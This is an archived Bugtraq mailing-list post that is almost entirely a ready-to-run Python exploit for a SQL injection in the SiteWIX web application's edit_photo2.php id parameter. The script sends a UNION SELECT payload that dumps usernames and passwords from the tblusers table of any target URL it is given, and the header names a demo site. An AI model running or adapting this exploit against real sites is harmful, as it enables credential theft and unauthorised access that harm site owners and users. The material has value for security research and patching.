SiteWIX - =?UTF-8?Q?=28edit=5Fphoto=32=2Ephp=20id=29=20SQL=20Inje?=- =?UTF-8?Q?ction=20Exploit?=

From: ZoRLu Bugrahan <zorlu@milw00rm.com>
To: bugtraq@securityfocus.com
Cc:
Subject: SiteWIX - =?UTF-8?Q?=28edit=5Fphoto=32=2Ephp=20id=29=20SQL=20Inje?=- =?UTF-8?Q?ction=20Exploit?=
Date:


#!/usr/bin/env python
#-*- coding:utf-8 -*-

#Title         : SiteWIX - (edit_photo2.php id) SQL Injection Exploit
#Author              : ZoRLu / zorlu@milw00rm.com
#Website       : milw00rm.com / milw00rm.net / milw00rm.org / milw0rm.info
#Twitter        : https://twitter.com/milw00rm or @milw00rm
#Test           : Windows7 Ultimate
#Discovery      : 19/10/15
#Publish : 20/10/15
#Thks            : exploit-db.com, packetstormsecurity.com, securityfocus.com, 
cxsecurity.com and others
#BkiAdam       : B3mB4m, Dr.Ly0n, KnocKout, LifeSteaLeR
#Firstbug  : https://www.milw00rm.com/exploits/11133 / PrenS
#Proof            : https://www.milw00rm.com/proof/sitewix.jpg
#demo          : http://cesurbranda.com/

import re
import os
import sys
import time
import urllib2


if len(sys.argv) < 2:
     os.system(['clear','cls'][1])
     print " 
____________________________________________________________________"
     print "|                                                             
        |"
     print "|   SiteWIX - (edit_photo2.php id) SQL Injection Exploit      
        |"
     print "|   ZoRLu / milw00rm.com                                      
        |"
     print "|   exploit.py http://site.com/path/                          
        |"
     print 
"|____________________________________________________________________|"
     sys.exit(1)

koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]
if sitemiz[-1:] != koykicina:
    sitemiz += koykicina
if sitemiz[:7]  != koybasina:
    sitemiz =  koybasina + sitemiz
vulnfile = "admin/ajax/edit_photo2.php"
sql = 
"?id=22+union+select+1,2,concat(0x3b3b3b,Password,0x3b3b3b),4,5,concat(0x3a3a3a,Username,0x3a3a3a)+from+tblusers"
url = sitemiz + vulnfile + sql
print "\nExploiting...\n"
try:
     veri = urllib2.urlopen(url).read()
     aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)
     if len(aliver) > 0:
         print "username:  " + aliver[0][0] + aliver[0][1] +aliver[0][2]
     else:
         print "Exploit failed..."
except urllib2.HTTPError:
     print "Security!"
try:
     veri = urllib2.urlopen(url).read()
     aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)
     if len(aliver) > 0:
         print "password:  " + aliver[0][0] + aliver[0][1] +aliver[0][2]
         print "\nGood Job Bro!"
     else:
         print "Exploit failed..."
except urllib2.HTTPError:
     print "Security!"





Copyright © 1995-2018 LinuxRocket.net. All rights reserved.